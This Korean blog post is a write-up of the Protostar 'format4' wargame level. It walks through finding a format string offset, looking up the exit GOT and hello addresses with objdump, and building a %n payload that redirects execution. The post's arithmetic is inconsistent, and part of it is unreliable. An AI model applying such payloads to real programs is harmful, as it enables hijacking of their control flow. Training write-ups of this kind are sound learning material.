본문 바로가기

system

[protostar]format4

반응형

%p format4 looks at one method of redirecting execution in a process.

Hints:

objdump -TR is your friend
This level is at /opt/protostar/bin/format4

대충 보니, 여기에서 코드를 실행하면서 hello함수를 실행하도록 수정해야할 것 같다.

exit함수가 호출될 때 hello함수가 오도록 수정해봐야겠다.

 

(python -c 'print "AAAA" + "%08x"*4) | ./format4

이걸로 한번 확인해보니 4번째에 AAAA가 확인된다.

 

이제 주소를 확인해봐야 한다.

ojdump -TR format4 | grep exit

아까 힌트에 있었던 걸 사용하려고 한다.

알고자 하는 주소를 grep 뒤에 적는다.

 

ojdump -t format4 | grep hello

hello 함수 주소를 알아본다.

->0x080484b4(결과)

->134513844(10진수)

 

(python -c 'print "\x24\x97\x04\x08" + "%08x"*2 + "134513844x%n"')|./format4

exit주소를 일단 넣고, %08x * 2를 넣은 후 우리가 계산한 것의 x%n을 넣는다.

hello함수 주소의 10진수 값을 넣었다.

 

일단 계산한 10진수 앞의 수식을 보자.

앞에만 계산해보면 \x24\x97~ 4바이트 + %08x * 2(8x2 = 16) = 20의 크기를 가진다.

그래서 134513844 - 20 = 134513824을 뒤에 넣으면 되는 것이다.

반응형

'system' 카테고리의 다른 글

[protostar]heap1.c  (0) 2020.11.11
[protostar]heap0  (0) 2020.11.07
[protostar]format3  (0) 2020.11.05
[protostar]format2  (0) 2020.11.04
[protostar]Format1  (0) 2020.11.03